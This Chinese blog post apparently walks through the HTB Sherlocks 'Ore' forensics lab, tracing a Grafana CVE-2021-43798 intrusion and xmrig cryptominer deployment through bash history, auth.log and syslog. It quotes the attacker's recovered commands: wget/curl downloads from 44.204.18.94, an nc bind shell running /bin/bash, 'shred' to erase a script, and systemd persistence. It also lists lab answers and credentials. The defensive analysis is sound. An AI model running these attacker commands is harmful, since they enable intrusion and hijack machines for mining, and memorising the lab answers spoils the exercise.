首页 > 其他分享 >【HTB】Sherlocks Ore 蓝队 medium

【HTB】Sherlocks Ore 蓝队 medium

时间:2024-03-16 16:56:13浏览次数:42  
标签:medium grep 蓝队 gz task cd sh cat Ore

task 1

问题:哪个 CVE 导致了 EC2 的最初泄露?


# 文件放在 ~/htb/Ore 目录
cd usr/share/grafana
ls -la
cat VERSION		# 8.2.0

搜索 grafana 8.2.0 exploit 可得 CVE-2021-43798

答案:CVE-2021-43798



task 2

问题:请详细说明针对我们组织的威胁行为者 (TA) 使用的所有恶意 IP 地址。


查看 grafana 用户的历史命令文件

cd usr/share/grafana
ls -la
cat .bash_history

如何确定哪些是管理人员使用的命令?哪些是攻击者使用的命令?

我们可以看到下列命令

whoami
pwd
ls
sudo -l

我们可以看见攻击者检查了以下目录/文件

  • /etc/shadow
  • /etc/passwd
  • /opt/automation/updater.sh
  • /var/log/syslog

其中较为特殊的命令如下,包含:篡改updater.sh脚本命令、执行crontab -e命令、nc连接外部地址

vi updater.sh 
nano updater.sh
crontab -e
nc -L -d -p 60000 -t -e /bin/bash
nc 44.204.18.94
nc 44.204.18.94 80

CVE-2021-43798 指纹,参考:https://github.com/M0ge/CVE-2021-43798-grafana_fileread

根据指纹查找日志

cd data/log
# 指纹一:../../../../
cat *|grep ../../../../|grep 200|awk -F '/' '{print $NF}'|cut -d ' ' -f1|sort|uniq
# passwd、defaults.ini、sample.ini
# 其中 passwd 是用来测试

# 指纹二:/etc/passwd
cat * |grep -i '/etc/passwd'|grep 200|awk -F 'remote_addr=' '{print $2}'|cut -d ' ' -f1
# 86.5.206.121、95.181.232.32、195.80.150.137
# 其中 86.5.206.121 是内部测试的 IP

答案:44.204.18.94,95.181.232.32,195.80.150.137


task 3

问题:TA 使用哪个帐户向主机操作系统进行身份验证?


查看另一个压缩包

# 文件放在 ~/htb/Ore 目录
cd ~/htb/Ore
tar -zxvf catscale_ip-172-31-13-147-20221124-1501.tar.gz
chmod +x catscale_out	# 没有权限,打不开
cd catscale_out/Logs
tar -zxvf ip-172-31-13-147-20221124-1501-var-log.tar.gz
cd var/log

# 解压 auth.log
gunzip auth.log.2.gz
cat auth.log* |grep -i ' sudo:' 
# 可以找到下列这条信息
# Nov 23 11:25:39 ip-172-31-60-25 sudo: pam_unix(sudo:auth): auth could not identify password for [grafana]

答案:grafana



task 4

问题:为了提升权限并以“root”身份运行挖矿服务,TA 修改了哪个文件?


task 3 提供攻击者登录 grafana 证明

task 2 提供攻击者登录后使用的命令,其中不断篡改updater.sh文件

我们进一步查看 auth.log 中执行的命令

cat auth.log* |grep -v session|grep -i ' sudo:'|cut -d ';' -f4|grep  COMMAND=|uniq
# 会发现执行了三个可疑脚本
# COMMAND=/bin/su
# COMMAND=./updater.sh
# COMMAND=./injector.sh
# COMMAND=/bin/ps aux
# COMMAND=/bin/su
# COMMAND=./Cat-Scale.sh

答案:updater.sh


task 5-7、13

task 5 问题:TA使用哪个程序下载injector.sh脚本?

task 6 问题:加密挖掘二进制文件和配置文件最初下载到哪里?

task 7 问题:TA 使用哪个程序下载加密挖掘二进制文件和配置文件?

task 13 问题:我们无法通过取证方式恢复“injector.sh”脚本进行分析。我们认为助教可能运行了命令来阻止我们恢复文件。TA执行了什么命令?


查看 syslog

# 解压所有 syslog
gunzip syslog.2.gz syslog.3.gz syslog.4.gz syslog.5.gz syslog.6.gz syslog.7.gz

# 查找恶意 IP 相关命令
cat syslog*|grep 44.204.18.94 |awk -F '<Data Name="CommandLine">' '{print$2}'|cut -d '<' -f1|grep -v '^$'
# wget http://44.204.18.94:80/injector.sh
# curl -s -O http://44.204.18.94:80/xmrig -O http://44.204.18.94:80/config.json
# nc 44.204.18.94 80

# 查找恶意脚本相关命令
cat syslog*|grep injector.sh |awk -F '<Data Name="CommandLine">' '{print$2}'|cut -d '<' -f1|grep -v '^$'|uniq
# wget http://44.204.18.94:80/injector.sh
# chmod +x injector.sh
# sudo ./injector.sh
# /bin/bash ./injector.sh
# shred -u ./injector.sh

# 查找恶意脚本路径
cat syslog*|grep injector.sh |awk -F '<Data Name="TargetFilename">' '{print$2}'|cut -d '<' -f1|grep -v '^$'
# /opt/automation/injector.sh

task 5 答案:wget

task 6 答案:/opt/automation/

task 7 答案:curl

task 13 答案:shred -u ./injector.sh



task 8

问题:我们需要确认 SOC 团队开始收集文物的确切时间,因为报告中未包含该时间。他们使用与我们位于林肯的系统管理员相同的面向公众的 IP 地址。


task 4 中说明Cat-Scale.sh是 linux 取证脚本

cat syslog*|grep Cat-Scale.sh|awk -F ' ' '{print $1,$2,$3}'|head -n 1
# Nov 24 15:01:00

答案:24/11/2022 15:01:00


task 9

问题:请确认系统管理员在某些Grafana配置文件中留下的密码。


task 2 中,根据指纹查找日志,得到sample.iniconfdefaults.ini

cd usr/share/grafana/conf
cat sample.ini|grep -vE '#|^$'|grep pass -B 1		# admin:admin
cat confdefaults.ini|grep -vE '#|^$'|grep pass -B 1		# admin:f0rela96789!

答案:f0rela96789!



task 10、12

task 10 问题:xmrig 启动时挖掘线程值设置为多少?

task 12 问题:我们无法在原始下载位置找到加密挖掘二进制文件和配置文件。助教将它们移至文件系统的何处?


# 查找恶意进程的文件路径
cat syslog*|grep xmrig |awk -F '<Data Name="TargetFilename">' '{print$2}'|cut -d '<' -f1|grep -v '^$'
# /opt/automation/xmrig
# /opt/automation/xmrig.service

# 查找恶意进程相关命令
cat syslog*|grep xmrig |awk -F '<Data Name="CommandLine">' '{print$2}'|cut -d '<' -f1|grep -v '^$'
# curl -s -O http://44.204.18.94:80/xmrig -O http://44.204.18.94:80/config.json
# touch xmrig.service
# chmod 777 xmrig config.json
# chmod 644 xmrig.service
# mv xmrig config.json /usr/share/.logstxt/
# mv xmrig.service /etc/systemd/system/
# systemctl enable --now xmrig --quiet
# /usr/share/.logstxt/xmrig -c /usr/share/.logstxt/config.json -- threads=0
# sh -c /sbin/modprobe msr allow_writes=on &gt; /dev/null 2&gt;&amp;1# 

task 10 答案:0

task 12 答案:/usr/share/.logstxt/



task 11

问题:我们的 CISO 要求提供有关该矿池可能使用的更多详细信息。请确认TA使用的是哪个(如果有)矿池。


查看进程与网络

# 文件放在 ~/htb/Ore 目录
cd ~/htb/Ore/catscale_out/Process_and_Network
cat  ip-172-31-13-147-20221124-1501-ss-anepo.txt|grep xmrig
# u_strESTAB  0    0      * 20361    * 21634     users:(("xmrig",pid=1089,fd=2),("xmrig",pid=1089,fd=1)) -->       
# tcp  ESTAB  0    0   172.31.13.147:56150   141.95.126.31:10191  users:(("xmrig",pid=1089,fd=13)) timer:(keepalive,18sec,0) ino:22930 sk:a9 <->

恶意进程xmrig连接外部IP:141.95.126.31:10191

上传到下列在线威胁情报中心分析平台(微步怎么需要登录使用了啊)

task 14

问题:我们的 IT 管理员为 TA 修改的脚本创建的 cronjob 多久运行一次?

cd ~/htb/Ore/catscale_out/Persistence/ 
tar -zxvf ip-172-31-13-147-20221124-1501-cron-folder.tar.gz 
cd var/spool/cron/crontabs
cat root
# 30 8 * * * /opt/automation/updater.sh

答案:daily - 08:30

标签:medium,grep,蓝队,gz,task,cd,sh,cat,Ore
From: https://www.cnblogs.com/IFS-/p/18077086

相关文章

  • Asp.net core使用Authentication使用jwt简单登录认证
    研究了两天,简单使用就这些,如果需要token续期或者刷新或者自定义校验处理需要重写比较麻烦。在controller中单独获取请求头可使用 HttpContext.Request.Headers["Authorization"]使用流程是:先认证登录->再校验权限Authentication->Authorization 安装依赖,.net8版......
  • [引].NET 和 .NET Core 支持策略
    .NET5和.NetCore官方支持策略(microsoft.com) NET和.NETCore版本生命周期支持的版本下表跟踪.NET和.NETCore版本的发布和终止支持日期。版本原始发布日期最新补丁版本补丁发布日期发布类型支持阶段终止支持.NET82023年11月14日8.0.32024年3月12日......
  • 小白解决Win11(Win10)下.html文件默认打开方式无法修改,绑定为IE浏览器 iexplorer.exe
    解决方法按Win+R键,输入regedit,地址栏输入计算机\HKEY_CLASSES_ROOT\IE.AssocFile.HTM\shell\opennew\command双击(默认),将"C:\ProgramFiles(x86)\internetexplorer\iexplore.exe"%1修改成"你的浏览器的路径"%1(英文的双引号不要去掉)OK了如何查找浏览器的路径打开任......
  • 【论文阅读】Autoformer Decomposition Transformers with Auto-Correlation for Long
    原始题目:Autoformer:DecompositionTransformerswithAuto-CorrelationforLong-TermSeriesForecasting中文翻译:Autoformer:用于长期序列预测的自相关分解变压器发表时间:2021年平台:AdvancesinNeuralInformationProcessingSystems文章链接:https://proceedings.neuri......
  • .Net Core 你必须知道的source-generators
    源生成器是C#9中引入的一项功能,允许在编译过程中动态生成代码。它们直接与C#编译器集成(Roslyn)并在编译时运行,分析源代码并根据分析结果生成附加代码。源生成器提供了一种简化的自动化代码生成方法,无需外部工具或单独的预编译步骤。通过无缝集成到编译过程中,源生成器可......
  • spring boot使用MongoRepository简单的CRUD
    简单的CRUD首先,定义一个实体类,例如User:@DocumentpublicclassUser{@IdprivateStringid;privateStringname;privateintage;//构造函数、getter和setter省略...}接下来,定义一个继承自MongoRepository的接口,例如UserRepository:publicint......
  • 一种奇怪的方式(.gitignore模版问题)导致部署在CentOS服务器上采用Nginx和uWSGI的Django
    如图所示,在本地测试时好好的页面部署在CentOS服务器上用了Nginx和uWSGI就显示不了CSS样式。并且控制台上显示这一部分样式404Notfund于是我就开始各种查找技术贴学习,有说权限没开要修改nginx.conf配置中usernginx;为userroot;的,有说location结尾要加/的,有说DEBUG=True的,有说要......
  • spring boot使用MongoRepository更新单个字段
    在SpringDataMongoDB中,MongoRepository接口提供了基本的CRUD操作。如果你想要通过MongoRepository更新单个字段,你可以自定义一个更新方法或者使用内置的save()方法。这里是一个示例:假设你有一个名为User的实体类,并且有一个继承自MongoRepository的UserRepository接口://定义Us......
  • AspNetCore8.0实战
    前言想变优秀的第N天。学习张老师的Blog.Core。1.创建Asp.NetCoreAPI1.1创建项目启用OpenAPI:sawgger不适用顶级语句:使用main函数使用控制器:controller1.2配置说明iisSettings:iis配置。http:kestrl启动配置。IISExpress:iis启动配置。2.仓储+服务创建以下公共类......
  • 【vue3】关于ref、toRef、toRefs
    1.ref函数,可以把简单数据类型包裹为响应式数据(复杂类型也可以),注意JS中操作值的时候,需要加.value属性,模板中正常使用即可2.toRef函数的作用:转换响应式对象中某个属性为单独响应式数据,并且转换后的值和之前是关联的(ref函数也可以转换,但值非关联)3.toRefs函数的作用:转换响......